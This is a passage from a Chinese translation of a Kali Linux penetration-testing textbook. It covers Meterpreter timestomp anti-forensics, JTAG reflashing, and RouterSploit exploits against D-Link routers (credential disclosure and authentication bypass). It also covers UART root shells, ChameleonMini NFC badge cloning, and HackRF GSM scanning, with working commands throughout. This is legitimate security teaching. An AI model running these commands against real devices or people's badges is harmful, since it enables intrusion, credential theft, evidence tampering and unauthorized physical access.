除了传统日志,攻击者还可能考虑从受害系统中删除 PowerShell 操作日志

Metasploit 还有一个额外的技巧:timestomp 选项允许攻击者修改文件的 MACE 参数(文件的最后修改时间、访问时间、创建时间和 MFT 条目修改时间)。一旦系统被攻破并且建立了 Meterpreter shell,可以调用 timestomp,如 图 13.42 所示:

图 13.42:Meterpreter timestomp 选项

例如,受害系统的 C: 驱动器包含一个名为 README.txt 的文件。该文件的 MACE 值表明它最近被创建,如 图 13.43 所示:

图 13.43:在特定本地文件上运行 timestomp

如果我们想隐藏这个文件,可以将它移动到一个杂乱的目录,例如 Windows\System32。然而,这个文件对任何按创建日期或其他基于 MAC 的变量排序该目录内容的人来说都将是显而易见的。

相反,你可以通过运行以下命令来更改文件的时间戳:

meterpreter > timestomp -z "01/01/2001 10:10:10" README.txt 

这将更改 README.txt 文件的时间戳,如 图 13.44 所示:

图 13.44:修改文件的元数据以反映虚假的日期

为了完全破坏调查,攻击者可能会使用以下命令递归地更改某个目录或特定驱动器中的所有时间:

meterpreter> timestomp C:\\ -r 

这个解决方案并不完美。很明显,攻击已经发生。此外,时间戳可以保存在硬盘的其他位置,并且可以供调查人员访问。如果目标系统正在通过入侵检测系统(如 Tripwire)主动监控系统完整性的变化,那么时间戳篡改活动会触发警报。因此,当需要真正隐秘的方式时,摧毁时间戳的价值有限。

总结

在这一章中,我们深入探讨了攻击者用来保持对被攻陷环境访问的不同策略,包括通过域名前置隐藏攻击来源,同时我们也学习了如何隐藏攻击证据、掩盖踪迹并保持匿名,这是网络攻击杀伤链方法论的最后一步。

我们研究了如何使用 Netcat、Meterpreter、计划任务、PowerShell Empire 的 dbx 和 onedrive 模块、Covenant C2 和 Poshc2 植入物在被攻陷的系统上保持持久代理,以及如何通过传统服务(如 DNS、ICMP、Telnet、RDP 和 Netcat)来提取数据。我们还学会了如何找到易受攻击的域名前置域,并利用像 Amazon 和 Azure 这样的知名 CDN 来进行恶意活动。

在下一章中,我们将探讨如何利用现有的 Kali 2021.4 特性以及额外的工具来破解嵌入式设备和 RFID/NFC 设备。

第十四章:嵌入式设备与 RFID 攻击

嵌入式系统市场受到了消费者采用物联网IoT)的巨大推动。现代联网嵌入式设备变得越来越有吸引力,并广泛部署于许多大公司、小型办公室/家庭办公室SOHO)、中小型企业SMB),并被全球家庭消费者直接使用。根据www.statista.com,联网物联网设备从 2015 年的 15.41 亿台增长到 2021 年的 35.82 亿台,预计到 2025 年将达到 75.44 亿台。同样,威胁也在增长,这些设备的安全性已成为制造商和消费者最关注的领域。一个最近的典型例子是发现了 Realtek 芯片组中的漏洞(CVE-2021-35395),该漏洞影响了 65 多个生产智能设备的供应商。这些攻击的来源表明,它们可能是由与 2016 年使美国东海岸大部分地区断网的 Mirai 僵尸网络攻击相同的攻击者所发起。

在本章中,我们将介绍嵌入式系统的基础知识、外设的角色,并探索可以用于执行传统硬件/固件渗透测试或使用 Kali Linux 进行给定设备产品评估的不同工具和技术。我们还将设置 ChameleonMini,以模拟 NFC 卡并重放存储的内存内容,以绕过任何物理访问控制,在红队演习或物理渗透测试中进行测试。

在本章中,你将学习以下内容:

  • 嵌入式系统和硬件架构

  • UART 串行总线

  • USB JTAG

  • 解包固件和常见的引导加载程序

  • 使用 ChameleonMini 进行 RFID 攻击

嵌入式系统和硬件架构

嵌入式系统是由硬件和软件组合而成,旨在执行特定任务。嵌入式硬件通常基于微控制器和微处理器。在本节中,我们将快速了解嵌入式系统的不同架构元素,包括内存和这些设备之间的通信。几乎我们日常使用的所有设备都是嵌入式设备,包括手机、DVD 播放器、GPS 系统和智能语音助手,如 Alexa 和其他基于硬件的解决方案。

嵌入式系统基本架构

嵌入式系统的基本架构通常包括硬件和软件组件。图 14.1 描绘了一个简单嵌入式设备的典型架构组件:

图示 说明自动生成

图 14.1:基本的嵌入式系统架构

嵌入式系统的组件如下:

  • 软件:这是用于控制设备及其功能的定制应用程序;通常是一个用于配置或更新设备的 Web 应用程序。

    • 微处理器或微控制器:典型的嵌入式设备以微处理器和微控制器为基础。微控制器和微处理器的唯一区别在于,微处理器没有内置的 RAM/ROM,必须外部添加。如今,大多数嵌入式设备/系统都使用包含 CPU 和固定容量的 RAM/ROM 的微控制器。
  • 硬件:这包括带有芯片组的外部设备,如 ARM(最广泛部署)、MIPS、Ambarella、Axis CRIS、Atmel AVR、Intel 8051 或 Motorola 功率微控制器。

    • 嵌入式操作系统:大多数嵌入式系统基于 Linux,并且它们是为设备定制的实时操作系统RTOSes)。测试人员可能会产生一些疑问,比如操作系统和固件之间有什么区别?固件使设备制造商能够使用通用的可编程芯片,而不是定制的硬件。

理解固件

在电子系统和计算中,固件是能够连接特定硬件并提供低级控制的软件。每个设备都由产品制造商提供自己的固件。

以下是通常配备定制固件的设备类别和类型,且大多数是基于 Linux 的。以下列表并不完全:

图 14.2:不同类型的设备

以下表格列出了大多数嵌入式设备中使用的内存类型:

内存类型 描述
DRAM动态随机存取内存 这是一种可以在读写模式下访问的易失性内存。它速度快,且需要访问内存内容。DRAM 是一些架构中采用缓存机制的原因之一。在启动加载程序的初期阶段,DRAM 内存访问是有时间限制的。
SRAM静态随机存取内存 这是一种类似于 DRAM 的易失性内存,可以以读写模式访问,速度比 DRAM 快。通常,设备中包含的 SRAM 容量较小,通常少于 1 MB(出于商业原因)。
ROM只读内存 这是一种只能读取的非易失性内存。掩码启动加载程序就是嵌入式设备中的 ROM 示例。
内存映射 NOR Flash 这是一种可以以读/写模式访问的非易失性内存,通常在启动代码时使用。
NAND Flash 这是一种非易失性存储技术,断电后仍能保留数据。
SDSecure Digital 这是一种用于便携设备的非易失性存储卡格式。

表 14.1:不同类型的内存

不同类型的固件

几乎所有嵌入式设备都由不同的固件驱动,具体取决于其复杂性。执行重型任务的嵌入式系统肯定需要像 Linux 或 Windows NT 这样的完整操作系统。以下是在固件分析期间通常发现的操作系统的非尽述列表:

  • Ambarella:主要用于视频摄像机、无人机等的嵌入式操作系统。

  • 思科 IOS:思科的企业级互联网操作系统。

  • DOS:被认为已过时的磁盘操作系统。但在评估期间,测试人员永远不知道会发现什么。

  • eCos(嵌入式可配置操作系统):这是来自 eCos 社区的开源实时操作系统。

  • Junos OS 或 JunOS:这是 Juniper Networks 针对其路由器设备基于 FreeBSD 的定制操作系统。

  • L4 微内核家族:这些是第二代微内核,看起来像类 Unix 操作系统。

  • VxWorks/Wind River:一种流行的专有实时操作系统。

  • Windows CE/NT:微软启用的嵌入式紧凑设备操作系统;在设备上很难找到。

了解固件与操作系统之间的区别非常重要。 表 14.2 提供了基本的区别:

固件 操作系统
它始终是嵌入在任何外围设备或电子设备中的固定数据/代码。 它是设计为提供多程序环境的系统软件;它充当基础层。
它驻留在非易失性存储器(ROM)中,例如 BIOS、键盘、冰箱和洗衣机。 它驻留在磁盘上,例如 Microsoft Windows、Google Android 和 Apple iOS/macOS。
它是低级操作,主要用于单一目的。 它是高级接口和多用途系统,允许不同类型的软件在多个硬件上运行。

表 14.2:固件与操作系统

理解引导加载程序

每个设备都有一个引导加载程序。引导加载程序仅仅是在掩码 ROM 引导加载程序之后加载和执行的第一个软件部分。它们主要用于将操作系统的部分加载到内存中,并确保系统在内核定义状态下加载。一些引导加载程序采用两步方法;在这些场景中,只有第一步会知道如何加载第二步,而第二步将提供对文件系统的访问等。以下是到目前为止在产品评估中遇到的引导加载程序的列表:

  • U-Boot:通用启动加载器,这是开源的,几乎在所有架构(68k、ARM、Blackfin、MicroBlaze、MIPS、Nios、SuperH、PPC、RISC-V 和 x86)中都可以使用。

  • RedBoot:使用 eCos 实时操作系统硬件抽象层为嵌入式系统提供引导固件。

  • BareBox:另一个开源的主要引导加载程序,广泛用于嵌入式设备。它支持 RM、Blackfin、MIPS、Nios II 和 x86。

常用工具

以下工具列表可以在调试或反向工程设备固件时使用。部分工具可以作为 Kali Linux 工具包使用:

  • binwalk:这是一种反向工程工具,可以对任何镜像或二进制文件进行分析和提取。它支持脚本化,且可以添加特定固件的自定义模块。

  • firmware-mod-kit:这是一个工具包的集合,包含多个脚本和实用工具,在评估过程中可以用于提取和重建基于 Linux 的固件镜像。测试人员还可以重构或解构固件镜像。

  • ERESI 框架:这是一个多架构二进制分析框架的软件接口,用于执行程序的反向工程和操作。

  • cnu-fpu:Cisco IP 电话固件打包/解包工具。可以在github.com/kbdfck/cnu-fpu找到。

  • ardrone-tool:该工具处理所有 Parrot 格式文件,并允许用户通过 USB 刷写并加载新固件。可以在github.com/scorp2kk/ardrone-tool找到。

固件解包和更新

在基本了解引导加载程序和不同类型的固件后,我们将探索如何解包一些固件,并在 Cisco Meraki MR18 无线接入点(一个具有 Cisco 固件的嵌入式设备)上使用自定义固件进行更新。在硬件渗透测试中,大多数固件镜像通常不包含构建完整嵌入式系统所需的所有文件。通常我们在每个嵌入式设备中发现以下内容:

  • 引导加载程序(1 阶/2 阶)

  • 内核

  • 文件系统镜像

  • 用户空间二进制文件

  • 资源和支持文件

  • Web 服务器/网页界面

现代嵌入式设备通过其固件阻止安装不同的操作系统,因此要将设备升级到可定制的操作系统,我们将使用 OpenWRT,这是一个为住宅网关创建的开源固件,最初为 Linksys WRT54G 无线路由器开发。它已经发展成一个嵌入式 Linux 发行版,并且现在支持多种设备。由于设备的限制,要执行升级或更新,通常需要使用 JTAG(即联合测试行动组,工业标准,用于验证设计并在生产后测试印刷电路板)。

JTAG 可以更多地从 TAP测试访问端口)的角度来使用,无论设备有多么受限。制造商通常会留有串口或几个 TAP。在我们的经验中,如果串行访问未能产生良好的结果,或者设备锁定得太严格,那么可能更容易使用 JTAG 端口(但这并不总是如此,因为设备可能完全被锁定)。

JTAG 架构由芯片制造商指定,在大多数情况下,即使是链式连接的 JTAG,JTAG 也遵循主芯片组的命令和控制规范。所有产品都分配了一个 FCC ID,用于提供设备的详细信息。你可以通过访问 www.fcc.gov/oet/ea/fccid 查找 FCC ID。我们必须获得正确的电压,否则我们可能会损坏设备或导致硬件故障。一旦确定了 JTAG 架构类型,我们就可以开始查看配置连接所需的规格和命令。

我们将使用预配置了设备列表、不同类别和类型的USB JTAG NT工具。这个工具可以直接从 www.usbjtag.com/filedownload/ 下载,我们将在这个例子中使用 USB JTAG NT 电缆。作为第一步,USB JTAG 电缆的 USB 端必须连接到我们的 Kali Linux 设备,而 JTAG 端则连接到设备的电路板(有关如何找到正确的连接引脚,请参考 blog.senr.io/blog/jtag-explained)。与路由器的物理连接将如图 14.3所示:

图 14.3:USB JTAG NT 电缆连接到 Cisco Meraki 路由器

由于 USB JTAG NT 严重依赖 QTLib 库,为了在 Kali Linux 上成功运行此工具,需要执行以下步骤:

  1. www.usbjtag.com/filedownload/usbjtagnt-for-linux64.php 下载 USB JTAG NT。

  2. www.usbjtag.com/filedownload/library-for-linux64.php 下载 QTLib。

  3. 通过运行 tar xvf <nameofthefile.tar> 解压存档文件。

  4. 确保通过运行 export LD_LIBRARY_PATH=/home/kali/Downloads/QtLib 设置 QT 库路径(如果你将文件下载到其他文件夹,确保路径反映出这个位置)。

  5. 最后,在终端中运行 ./USBJTAGNT 启动应用程序。然后,你应该能够顺利启动应用程序,不会遇到任何问题,如图 14.4所示:图形用户界面,文本,应用程序,聊天或文本消息 说明自动生成

    图 14.4:在 Kali Linux 中成功加载 USB JTAG NT

一旦选择了类别协议类型和目标选择,我们将设置路由器类别EJTAG协议,然后选择路由器的型号作为目标。我们将利用 OpenWRT 将其加载到硬件中。如果连接的 JTAG 物理上工作正常,那么我们就可以开始调试设备,如图 14.5所示:

图 14.5:将 OpenWRT 刷入并安装到设备上

program命令用于刷新OEM原始设备制造商)操作系统。一旦程序完成,我们可以将新的.bin文件上传到设备,这将加载 OpenWRT 到所选的路由器并赋予完全权限。

一旦刷新完成并加载了 OpenWRT,我们可以通过直接 SSH 访问 root 权限来验证与设备的通信,方法是从 Kali Linux 终端运行ssh root@192.168.1.1

在 Windows 上,你可以使用 PuTTY 通过默认网关 IP(192.168.1.1)访问设备,如图 14.6所示(确保你已将物理以太网线连接到路由器和笔记本,并为设备设置静态 IP):

图 14.6:通过 PuTTY 连接到 Meraki 无线接入点,使用 root 账号且没有密码

RouterSploit 框架介绍

类似于 Metasploit 框架,Threat9 的(https://www.threat9.com)RouterSploit 框架是一个开源的漏洞利用框架,用于攻击嵌入式设备(特别是路由器)。该工具可以通过在终端运行sudo apt install routersploit来安装在 Kali 中。RouterSploit 的最新版本是 3.4.1,并且它带有 132 个已知的漏洞利用程序和 4 种不同的扫描器,具体取决于设备类型。我们知道这个过程可以通过移动设备完成,因为我们可以按照《第一章 目标导向渗透测试》中安卓手机上安装 Kali(无 root 权限手机)的说明,在任何安卓手机上安装 Kali。

以下是 RouterSploit 的模块:

  • exploits:一个用于攻击所有已识别漏洞的模块

  • creds:一个用于测试登录凭证的模块,具有预定义的用户名和密码

  • scanners:一个运行扫描的模块,使用预配置的漏洞列表

  • payloads:一个根据设备类型生成负载的模块

  • generic/encoders:一个包含通用负载和编码器的模块

在以下示例中,我们将使用 RouterSploit 的扫描器功能来识别我们连接的路由器(DLink)是否存在已知漏洞。我们将对运行在192.168.0.1上的路由器使用scanners/autopwn,如图 14.7所示:

文本说明自动生成

图 14.7:使用 RouterSploit 利用 DLink 路由器漏洞

扫描器将从exploits模块运行 132 个漏洞利用程序。由于我们已经使用了autopwn,扫描结束时你应该能够看到我们的路由器所存在的漏洞列表,如图 14.8所示:

图 14.8:autopwn 模块的输出,显示可被利用的漏洞列表

一旦运行autopwn,你应该能够看到可以被利用的漏洞。在这个例子中,我们知道该设备存在两个不同的漏洞,所以我们将继续使用漏洞利用程序,运行:

use exploits/routers/dlink/dir_300_320_600_615_info_disclosure
set port 80
run 

这个漏洞利用了本地文件包含LFI)并访问httaccess文件,提取用户名和密码。成功的漏洞利用应该会导致登录信息,如图 14.9所示:

文本 描述自动生成

图 14.9:成功提取路由器密码,使用 RouterSploit

让我们尝试另一种漏洞,通过操控 URL 绕过身份验证,无需使用有效凭据登录。我们可以通过运行routersploit来利用路由器,如图 14.10所示;在路由器运行在443端口的情况下,将ssl值设置为true

use exploits/routers/dlink/dir_300_320_615_auth_bypass
run 

文本 描述自动生成

图 14.10:在 RouterSploit 中运行身份验证绕过模块

最后,URL 可以用于访问路由器的网页界面,从而允许直接访问设置页面,如图 14.11所示:

图形用户界面,网站 描述自动生成

图 14.11:无需任何身份验证即可访问路由器设置

我们已经探索了 RouterSploit,利用了易受攻击的路由器。攻击者可以使用一个简单的非 root 安卓设备来执行这些攻击。

如果你的任务是对新设计的硬件进行硬件渗透测试,以下部分提供了一种简要方法,攻击者可以使用 UART 设备在路由器上获取 root shell。

UART

UART 代表 通用异步接收器/发送器。它是最早用于计算机通信的模式之一。追溯到 1960 年,当时它被用来连接迷你计算机与电传打字机(电传)。UART 的主要目的是像独立的集成电路一样传输和接收串行数据;它不是像 SPI (串行外设接口) 或 I2C (集成电路间接口) 这样的协议。制造商通常使用它将微控制器连接到存储和加载程序。每个 UART 设备都有优缺点。以下是 UART 的优点:

  • 它只有两根线,所以相当简单。一根是发送(TX),另一根是接收(RX)。

  • 无需时钟信号。

  • 可以通过奇偶校验位进行错误检查。

  • 如果两端都设置好了,则数据包的结构可以更改。

  • 它广泛使用,因为互联网上有大量文档可供查阅。

它有以下限制:

  • 测试人员无法增加数据帧:最多只能限制为 9 位

  • 没有办法设置多个从设备或主设备系统

  • UART 波特率必须在 10%以内

在本节中,我们将使用 USB 到 TTL晶体管/晶体管逻辑)适配器,通过连接到设备电路板的串行端口来进行 UART 通信。

这些适配器通常包括四个端口:

  • GND:接地(0V)电源

  • VCC:电压电源,3.3V(默认)或 5V

  • TX:串行传输

  • RX:串行接收

攻击者在硬件攻击中面临的一个大挑战是识别正确的串口。这可以通过使用万用表读取电压输出,以确认 TX(通常当设备开机时,电压会不断波动)、RX(最初波动,但会在某个时刻稳定)、和 GND(零电压)来完成。

在本例中,我们将使用一个知名的无线接入点(Cisco Meraki MR18),并将 UART 连接到 TTL 设备,以便直接与硬件通信,如图 14.12所示:

图 14.12:将 UART 连接到 Cisco Meraki MR18 无线接入点

当正确的 TX/RX 和地线被识别出来时(要识别正确的 UART 引脚,可以找到相邻的 3 到 4 个引脚;不过,这可能会根据设备的类型而有所不同),我们可以使用 Kali Linux 通过运行baudrate.py Python 文件 (github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/blob/main/Chapter%2014/Baudrate.py)来了解当前连接的设备。

如果串口设备已经连接,你应该能够在 Kali 中看到以下界面,且没有任何问题。大多数时候,配置 115,200 波特率对于路由器来说是有效的:

图 14.13:使用 Python 脚本以 115,200 波特率成功连接到设备

一旦设备成功被我们的 Kali Linux 读取,我们就可以通过在命令行中运行screen /dev/ttyUSB0 115200开始与设备交互,这应该会直接提供 shell 访问,如图 14.14所示。测试人员需要注意,在这个例子中,我们使用的是一台已知的路由器,它提供了直接的 root 权限,这在其他设备上可能并不相同。最近制造的设备会提示用户输入用户名和密码:

图 14.14:使用 screen 命令访问设备

理解设备的调试日志总是很有用的:我们在很多 IoT 设备中看到了硬编码的凭证。我们已经学会如何使用 UART 电缆连接到设备,并作为一个高权限用户与设备进行通信。在下一节中,我们将探索克隆 RFID,这可以在物理渗透测试或红队演练中使用。

使用 ChameleonMini 克隆 RFID

RFID 代表 射频识别,它利用无线电波来识别物品。最基本的 RFID 系统包含标签、读卡器和天线。RFID 标签有主动标签和被动标签之分。主动 RFID 标签含有自己的电源,能够广播信号,读取范围可达 100 米。被动 RFID 标签没有自己的电源,而是通过 RFID 读卡器传输的电磁能量供电。

NFC 代表 近场通信,它是 RFID 的一个子集,但具有更高的频率。NFC 和 RFID 都在 13.56 MHz 频率下工作。NFC 还被设计为可以作为 NFC 读卡器和 NFC 标签运行,这是 NFC 设备的一项独特功能,允许它们与其他设备进行通信。在本节中,我们将探索一种在物理渗透测试/社交工程或红队演练中非常实用的设备,用于实现特定目标。例如,如果你报名展示某个组织的真实威胁,包括获得该组织办公场所、数据中心或董事会会议室的访问权限,你可以使用 ChameleonMini 在一个信用卡大小的便携设备中存储六个不同的 UID:

图 14.15:ChameleonMini 设备/卡片克隆器

ChameleonMini 是由 ProxGrind 创建的一款设备,旨在分析 NFC 安全问题,用于模拟和克隆非接触式卡片、读取 RFID 标签,并且还可以嗅探 RF 数据。对于开发者而言,这款设备是可自由编程的。此设备可以在网上购买,网址为 lab401.com/。在本例中,我们使用了 ProxGrind ChameleonMini RevG 来演示克隆 UID。

在 Kali Linux 中,我们可以通过直接连接 USB 来验证设备。lsusb 命令应显示 ChameleonMini 为 MCS,且所有连接到 Kali Linux 的串口设备都会列出在 /dev/ 中。在这种情况下,我们的设备显示为名为 ttyACM0 的串口,如 图 14.16 所示:

图 14.16:在 Kali Linux 中识别设备

我们可以通过运行 picocom --baud 115200 --echo /dev/ttyACM0 来直接与串口通信,如 图 14.17 所示。可以通过运行 apt-get install picocom 来安装 picocom

图 14.17:以 115,200 波特率通过 picocom 连接设备

你将需要想要克隆的卡片。你可以通过将卡片放置在 ChameleonMini 上,执行一步操作来克隆卡片。输入 CLONE,任务就完成了,如 图 14.18 所示:

A picture containing chart  Description automatically generated

图 14.18:成功克隆卡片并完成配置

以下是手动操作的详细步骤:

  1. 使用命令行,执行以下操作:

    • 一旦 Kali Linux 和设备之间建立了串口通信,输入HELP命令以显示 ChameleonMini 的所有可用命令。

    • ChameleonMini 配有八个插槽,每个插槽都可以作为独立的 NFC 卡使用。可以通过使用SETTINGS=命令来设置插槽。例如,我们可以通过输入settings=2命令将插槽设置为 2;它应该返回100:OK

    • 运行CONFIG?以查看当前配置。新设备应该返回以下内容:

       101:OK WITH TEXT
        NONE 
      
  2. 下一步是将卡片读取器设置为reader模式。可以通过输入CONFIG=ISO14443A_READER来实现。

  3. 现在我们可以将需要克隆的卡片放入卡片读取器中,并输入Identify命令。

  4. 一旦识别出卡片类型,就可以使用CONFIG命令设置配置:在我们的案例中,它是 MIFARE Classic 1K,因此我们将运行CONFIG= MF_CLASSIC_1K

  5. 现在我们已经设置好配置,可以通过运行UID=CARD NUMBER命令从卡片中获取 UID,然后将其添加到我们的 ChameleonMini 中,如图 14.19所示:

    图 14.19:手动克隆卡片

  6. 我们现在已经准备好将 ChameleonMini 用作卡片。

  7. 渗透测试人员还可以预编程此设备,通过设备上的两个按钮执行克隆任务。例如,在进行社会工程学测试时,当测试人员与目标公司员工交谈时,他们按下按钮并克隆其(NFC)身份证卡。这可以通过以下命令来执行:

    • LBUTTON=CLONE:这将设置左键单击以克隆卡片。

    • RBUTTON=CYCLE_SETTINGS:这将设置右键单击以旋转插槽。例如,如果卡片 A 被克隆到插槽 1,并且你想克隆另一张卡片,可以通过点击右键来执行此操作,这会将卡片 A 的详细信息移到插槽 2。然后,你可以继续按左键来克隆新卡片。

其他工具

还有其他工具,例如 HackRF One,它是一种软件定义无线电,也可以被渗透测试人员用来执行任何类型的射频嗅探或传输你自己的信号,甚至重新播放捕获的无线电数据包。

我们将简要介绍如何使用 HackRF One SDR 在 Kali Linux 中嗅探射频。需要通过在终端中运行sudo apt install hackrf gqrx-sdr来安装 HackRF 库。测试人员应该能够通过在终端运行sudo hackrf_info来识别设备。如果设备被识别,你应该能够看到以下截图,显示固件、部件 ID 等详细信息:

图 14.20:在 Kali Linux 中读取 HackRF 设备

渗透测试人员可以利用kalibrate工具扫描任何 GSM 基站。该工具可以从github.com/scateu/kalibrate-hackrf下载,并可以通过以下命令构建:

git clone https://github.com/scateu/kalibrate-hackrf
cd kalibrate-hackrf
./bootstrap
./configure
./make && make install 

一旦安装完成,sudo kal将是用来扫描特定频段的工具。我们将使用 root 终端运行命令,因为它必须调用硬件,可以通过指定频率来运行工具(kal –s GSM900),如图 14.21所示:

图 14.21:使用 HackRF 在 Kali Linux 中扫描 GSM 频道

如果测试人员在现场评估期间能够识别外设类型,并发现公司使用了某些易受攻击的硬件,那么他们也可以利用 Crazyradio PA,这是一款长程 2.4 GHz USB 无线电接收器,可以通过无线电信号将有效负载传输到使用易受攻击设备的任何计算机上。

总结

本章中,我们简要介绍了基本的嵌入式系统及其架构,并了解了不同类型的固件、引导加载程序、UART、无线电嗅探以及在硬件攻击中可以使用的常见工具。我们还学习了如何解包固件并使用 USB JTAG NT 在路由器上加载新固件。此外,我们探讨了如何使用 RouterSploit 来识别嵌入式设备的特定漏洞。最后,我们学习了如何使用 ChameleonMini 克隆物理 RFID/NFC 卡,这可以在红队演练中使用。

我们希望这本书帮助你理解基本的风险,以及攻击者如何利用这些工具在几秒钟内危害网络/设备,此外,你也可以使用相同的工具和技术来了解你的基础设施的漏洞,以及在你的基础设施被攻破之前,修复和补丁管理的重要性。关于这一点,本章结束了《Kali Linux 高级渗透测试指南(第四版)》

posted @ 2025-06-19 16:04  绝不原创的飞龙  阅读(288)  评论(0)    收藏  举报